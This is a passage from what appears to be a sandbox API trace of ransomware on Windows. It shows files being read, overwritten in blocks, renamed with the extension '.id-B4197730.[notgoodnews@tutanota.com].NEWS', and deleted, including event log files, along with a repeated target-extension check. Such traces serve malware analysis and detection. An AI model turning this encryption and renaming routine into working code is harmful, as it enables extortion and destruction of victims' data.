Size=0x40000) returned 0x3e3ba78 [0065.924] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1 [0065.924] WriteFile (in: hFile=0x358, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0065.925] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1 [0065.925] WriteFile (in: hFile=0x358, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0067.462] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1 [0067.463] WriteFile (in: hFile=0x358, lpBuffer=0x3e3ba78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e3ba78*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0067.641] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0067.656] CloseHandle (hObject=0x358) returned 1 [0072.539] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0072.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.539] lstrlenW (lpString=".doc") returned 4 [0072.539] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0072.539] lstrlenW (lpString=".docx") returned 5 [0072.539] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0072.539] lstrlenW (lpString=".pdf") returned 4 [0072.539] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0072.539] lstrlenW (lpString=".xls") returned 4 [0072.539] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0072.539] lstrlenW (lpString=".xlsx") returned 5 [0072.539] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0072.539] lstrlenW (lpString=".ppt") returned 4 [0072.539] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0072.539] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.539] lstrlenW (lpString=".zip") returned 4 [0072.539] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0072.539] lstrlenW (lpString=".rar") returned 4 [0072.539] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0072.539] lstrlenW (lpString=".bz2") returned 4 [0072.539] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0072.539] lstrlenW (lpString=".7z") returned 3 [0072.539] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0072.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.540] lstrlenW (lpString=".dbf") returned 4 [0072.540] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0072.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.540] lstrlenW (lpString=".1cd") returned 4 [0072.540] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0072.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.540] lstrlenW (lpString=".jpg") returned 4 [0072.540] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0072.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.540] lstrlenW (lpString=".doc") returned 4 [0072.540] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0072.540] lstrlenW (lpString=".docx") returned 5 [0072.540] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0072.540] lstrlenW (lpString=".pdf") returned 4 [0072.540] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0072.540] lstrlenW (lpString=".xls") returned 4 [0072.540] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0072.540] lstrlenW (lpString=".xlsx") returned 5 [0072.540] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0072.540] lstrlenW (lpString=".ppt") returned 4 [0072.540] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0072.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.540] lstrlenW (lpString=".zip") returned 4 [0072.540] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0072.540] lstrlenW (lpString=".rar") returned 4 [0072.540] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0072.540] lstrlenW (lpString=".bz2") returned 4 [0072.540] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0072.540] lstrlenW (lpString=".7z") returned 3 [0072.540] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0072.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.540] lstrlenW (lpString=".dbf") returned 4 [0072.540] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0072.540] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.541] lstrlenW (lpString=".1cd") returned 4 [0072.541] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0072.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0072.541] lstrlenW (lpString=".jpg") returned 4 [0072.541] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0072.541] lstrcmpiW (lpString1=".msu", lpString2=".NEWS") returned -1 [0072.541] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0072.541] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0072.541] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=5091790) returned 1 [0072.541] CloseHandle (hObject=0x358) returned 1 [0072.541] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0072.541] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.541] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0072.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0072.542] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc64 | out: lpNewFilePointer=0x0) returned 1 [0072.542] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1 [0072.542] ReadFile (in: hFile=0x358, lpBuffer=0x3911058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x3911058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0072.547] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1 [0072.547] ReadFile (in: hFile=0x358, lpBuffer=0x3951058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x3951058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0072.550] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d5fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.550] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc24 | out: lpNewFilePointer=0x0) returned 1 [0072.550] ReadFile (in: hFile=0x358, lpBuffer=0x3991058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d5fc30, lpOverlapped=0x0 | out: lpBuffer=0x3991058*, lpNumberOfBytesRead=0x2d5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0072.566] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.566] WriteFile (in: hFile=0x358, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2d5fca8, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0073.064] SetEndOfFile (hFile=0x358) returned 1 [0073.064] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3eaba98 [0073.068] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1 [0073.068] WriteFile (in: hFile=0x358, lpBuffer=0x3eaba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eaba98*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0073.070] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1 [0073.070] WriteFile (in: hFile=0x358, lpBuffer=0x3eaba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eaba98*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0073.072] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1 [0073.072] WriteFile (in: hFile=0x358, lpBuffer=0x3eaba98*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3eaba98*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0073.075] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3eaba98 | out: hHeap=0x490000) returned 1 [0073.075] CloseHandle (hObject=0x358) returned 1 [0075.497] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0075.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.497] lstrlenW (lpString=".doc") returned 4 [0075.497] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0075.497] lstrlenW (lpString=".docx") returned 5 [0075.497] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0075.497] lstrlenW (lpString=".pdf") returned 4 [0075.497] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0075.497] lstrlenW (lpString=".xls") returned 4 [0075.497] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0075.497] lstrlenW (lpString=".xlsx") returned 5 [0075.497] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0075.497] lstrlenW (lpString=".ppt") returned 4 [0075.497] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0075.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.497] lstrlenW (lpString=".zip") returned 4 [0075.497] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0075.498] lstrlenW (lpString=".rar") returned 4 [0075.498] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0075.498] lstrlenW (lpString=".bz2") returned 4 [0075.498] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0075.498] lstrlenW (lpString=".7z") returned 3 [0075.498] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0075.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.498] lstrlenW (lpString=".dbf") returned 4 [0075.498] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0075.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.498] lstrlenW (lpString=".1cd") returned 4 [0075.498] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0075.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.498] lstrlenW (lpString=".jpg") returned 4 [0075.498] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0075.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.498] lstrlenW (lpString=".doc") returned 4 [0075.498] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0075.498] lstrlenW (lpString=".docx") returned 5 [0075.498] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0075.498] lstrlenW (lpString=".pdf") returned 4 [0075.498] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0075.498] lstrlenW (lpString=".xls") returned 4 [0075.498] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0075.498] lstrlenW (lpString=".xlsx") returned 5 [0075.498] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0075.498] lstrlenW (lpString=".ppt") returned 4 [0075.498] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0075.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.498] lstrlenW (lpString=".zip") returned 4 [0075.498] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0075.498] lstrlenW (lpString=".rar") returned 4 [0075.498] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0075.498] lstrlenW (lpString=".bz2") returned 4 [0075.499] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0075.499] lstrlenW (lpString=".7z") returned 3 [0075.499] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0075.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.499] lstrlenW (lpString=".dbf") returned 4 [0075.499] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0075.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.499] lstrlenW (lpString=".1cd") returned 4 [0075.499] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0075.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0075.499] lstrlenW (lpString=".jpg") returned 4 [0075.499] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0075.499] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0075.499] lstrlenW (lpString="Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 46 [0075.499] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0075.877] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0075.877] CloseHandle (hObject=0x308) returned 1 [0075.877] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0075.877] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.877] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0075.877] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.877] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.877] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0076.301] GetLastError () returned 0x0 [0076.301] ReadFile (in: hFile=0x308, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0076.304] WriteFile (in: hFile=0x330, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0076.306] ReadFile (in: hFile=0x308, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.306] WriteFile (in: hFile=0x330, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x130, lpOverlapped=0x0) returned 1 [0076.306] SetEndOfFile (hFile=0x330) returned 1 [0076.306] CloseHandle (hObject=0x330) returned 1 [0076.308] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.308] SetEndOfFile (hFile=0x308) returned 1 [0076.310] CloseHandle (hObject=0x308) returned 1 [0076.310] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0076.310] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0076.310] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.310] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.310] lstrlenW (lpString=".doc") returned 4 [0076.310] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.310] lstrlenW (lpString=".docx") returned 5 [0076.310] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.310] lstrlenW (lpString=".pdf") returned 4 [0076.311] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString=".xls") returned 4 [0076.311] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString=".xlsx") returned 5 [0076.311] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.311] lstrlenW (lpString=".ppt") returned 4 [0076.311] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.311] lstrlenW (lpString=".zip") returned 4 [0076.311] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString=".rar") returned 4 [0076.311] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString=".bz2") returned 4 [0076.311] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString=".7z") returned 3 [0076.311] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.311] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.311] lstrlenW (lpString=".dbf") returned 4 [0076.311] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.311] lstrlenW (lpString=".1cd") returned 4 [0076.311] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.311] lstrlenW (lpString=".jpg") returned 4 [0076.311] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.311] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.311] lstrlenW (lpString=".doc") returned 4 [0076.311] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString=".docx") returned 5 [0076.311] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.311] lstrlenW (lpString=".pdf") returned 4 [0076.311] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.311] lstrlenW (lpString=".xls") returned 4 [0076.311] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.312] lstrlenW (lpString=".xlsx") returned 5 [0076.312] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.312] lstrlenW (lpString=".ppt") returned 4 [0076.312] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.312] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.312] lstrlenW (lpString=".zip") returned 4 [0076.312] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.312] lstrlenW (lpString=".rar") returned 4 [0076.312] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.312] lstrlenW (lpString=".bz2") returned 4 [0076.312] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.312] lstrlenW (lpString=".7z") returned 3 [0076.312] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.312] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.312] lstrlenW (lpString=".dbf") returned 4 [0076.312] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.312] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.312] lstrlenW (lpString=".1cd") returned 4 [0076.312] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.312] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 54 [0076.312] lstrlenW (lpString=".jpg") returned 4 [0076.312] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.312] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0076.312] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55 [0076.312] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0076.313] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0076.313] CloseHandle (hObject=0x308) returned 1 [0076.313] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0076.313] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.313] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0076.313] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.314] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.314] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 